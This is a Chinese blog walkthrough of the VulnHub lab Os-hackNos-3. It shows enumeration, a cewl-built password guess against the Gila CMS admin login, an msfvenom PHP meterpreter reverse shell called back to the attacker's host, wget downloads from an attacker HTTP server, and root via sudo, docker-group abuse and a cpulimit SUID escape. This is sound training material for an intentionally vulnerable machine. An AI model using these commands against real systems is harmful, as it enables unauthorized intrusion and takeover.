『VulnHub系列』hackNos: Os-hackNos-3-Walkthrough

标签: VulnHub  靶机  Linux  Docker提权  cpulimit提权

靶机地址

难度:中等

靶机发布日期:2019年12月14日

在这里插入图片描述

靶机描述:Difficulty: Intermediate

Flag: 2 Flag first user And the second root

Learning: Web Application | Enumeration | Privilege Escalation

Web-site: www.hacknos.com

Contact-us : @rahul_gehlaut

This may work better with VirtualBox rather than VMware

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

  • nmap
  • gobuster
  • cewl
  • msfvenom
  • metasploit
  • docker提权
  • cpulimit提权

0x00、信息收集

靶机IP:192.168.43.236

nmap -sn 192.168.43.0/24

在这里插入图片描述

端口和服务

nmap -sS -A -T5 -p- 192.168.43.236

在这里插入图片描述

页面、目录枚举

gobuster dir -u http://192.168.43.236/ -w ~/Desktop/SecLists/Discovery/Web-Content/raft-large-directories.txt -x .php,.zip,.txt,.html

在这里插入图片描述

http://192.168.43.236/scripts/

在这里插入图片描述

http://192.168.43.236/scripts/api_ticket_create.php

在这里插入图片描述

http://192.168.43.236/scripts/automail.php

在这里插入图片描述

http://192.168.43.236/scripts/rcron.php

在这里插入图片描述

访问首页,得到一个提示,You need extra WebSec,访问WebSec无果,随后尝试访问websec

在这里插入图片描述

在这里插入图片描述

继续对websec进行目录页面枚举,发现/websec/admin,访问/admin后在title处发现Gila CMS的字样,搜索引擎搜索后确认是一个开源的CMS。

在这里插入图片描述

首先使用搜索引擎检索一下Gila CMS 1.9.1有没有什么可利用的漏洞,找到以下两个漏洞:

LFI漏洞需要登录后台,XSS的不知道怎么利用……

在这里插入图片描述

所以接下来的思路就是用账号密码登录后台。从已有的信息来看,用户名很可能是首页下方的[email protected],先尝试使用常规密码字典进行暴力破解,结果网站设置了登录失败次数限制。

在这里插入图片描述

在获取密码这个地方卡了挺久的,当时全网也没有找到Walkthrough,后来才知道需要使用cewl爬取网页上的内容作为密码。其实这个方法在之前的一个靶机上也用过……

在这里插入图片描述

最后使用[email protected]/Securityx成功登录后台。

0x01、getshell

进入到后台之后需要考虑的问题就是怎么getshell了。一般就是先四处点点,看看都有啥功能,最后发现Content>>File Manager处可以编辑PHP文件,Content>>Media处可以上传图片。

在这里插入图片描述

在这里插入图片描述

这里选择通过PHP反弹shell,步骤如下:

ifconfig命令查看kali的IP

msfvenom生成webshell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.36 LPORT=1234 R > shell.php

!!!注意:使用时需要去掉最开头的两个字符/*,不然浏览器访问反弹shell的php网页会看到/*,并且无法反弹shell.

msfvenom默认是无法自动补全的,网上有相关的教程,有需要可自行搜索

msfconsole做好接收反弹的shell的准备

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.36
set lport 1234
run

最开始是通过创建一个新的php页面来反弹shell的,结果保存之后,也没有得到shell。后来直接使用index.php页面反弹shell成功。注意,这里需要在保存内容之后,再点击一次保存才能反弹shell。

获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。

python -c 'import pty; pty.spawn("/bin/bash")' # 有些没有安装Python2,所以需要换成python3 -c

在这里插入图片描述

如果你想使用clear清屏,那么只需要给TERM这个环境变量赋值screen即可

export TERM=screen # 赋值xterm也可以

0x02、权限提升

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

/home/blackdevil目录下得到user的flag

在这里插入图片描述

查找sudo权限命令,发现了/not/easy/What/are/you/looking

sudo -l

在这里插入图片描述

随后发现没什么用……想想这个可能只是作者想说“没这么简单”

在这里插入图片描述

SUID权限可执行文件,发现一个之前没有见过的cpulimit。到https://gtfobins.github.io/gtfobins/上搜了一下,发现可以通过cpulimit -l 100 -f /bin/sh得到一个shell,但是我试了一下发现只能得到www-data的shell。

cpulimit是一款用于控制CPU使用率的工具。参数-f可执行命令。

find / -perm -u=s -type f 2>/dev/null

常见的SUID提权可执行文件

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash

当前用户可写文件,发现一堆,但是极大多数都是没用的,所以我先把结果输出到文本文件,然后使用grep加上关键字去筛选,筛选完之后就剩下/var/www/html目录下的内容了。由于之前已经查看过该目录下的文件了,所以这里没有再次查看。

find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys' /tmp/report.txt

查看计划任务,无。

cat /etc/crontab

上脚本LinEnum.sh跑一下,发现blackdevil属于docker用户组,后面也许可以用docker提权

在这里插入图片描述

在这里插入图片描述

尝试了一下mysql未授权访问,结果提示没有权限。

/var/www/html发现了upload.php,打开一看是个反弹shell的马儿……

在这里插入图片描述

到这里就卡住了,不知道接下来怎么搞了。看了一下靶机作者的Walkthrough,发现突破口在/var/local/database

在这里插入图片描述

在线解码http://www.spammimic.com/spreadsheet.php?action=decode,得到blacKdevil用户密码[email protected]@。这里也存在猜测的性质,因为没有明确的线索告诉我们这个就是blacKdevil的密码。

在这里插入图片描述

提权方式一

切换到blackdevil用户,执行sudo -l发现该用户可以执行任意权限的任意命令,直接sudo su -拿到root用户的权限。

在这里插入图片描述

提权方式二

使用docker提权,方法参考:

因为我的靶机网卡配置是Host only,而上面两篇文章里面提供的方法都是直接从网上下载docker镜像。所以这里我采用了自己创建docker镜像的方式,具体方法参考:https://www.cnblogs.com/cocowool/p/make_your_own_base_docker_image.html。下面是我的操作步骤:

第一步,先从https://alpinelinux.org/downloads/下载一个rootfs,然后再使用wget下载到靶机里面。

在这里插入图片描述

第二步,构建Dockerfile

在这里插入图片描述

在这里插入图片描述

第三步,构建镜像

在这里插入图片描述

提升权限

在这里插入图片描述

提权方式三

该方式参考lucifer11的博文:https://fdlucifer.github.io/2019-12-31-Os-hackNos-3.html

还是利用cpulimit-f参数。

通过C语言创建一个提权的可执行文件。这种方法之前的靶机Bottleneck: 1也用过。

在kali上操作:创建C语言程序并编译,开启HTTP服务

在这里插入图片描述

wget下载可执行文件到靶机上并通过cpulimit执行

在这里插入图片描述

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。扫描下方微信二维码与我交流。我是ins1ght.
在这里插入图片描述

版权声明:本文为weixin_44214107原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_44214107/article/details/104039918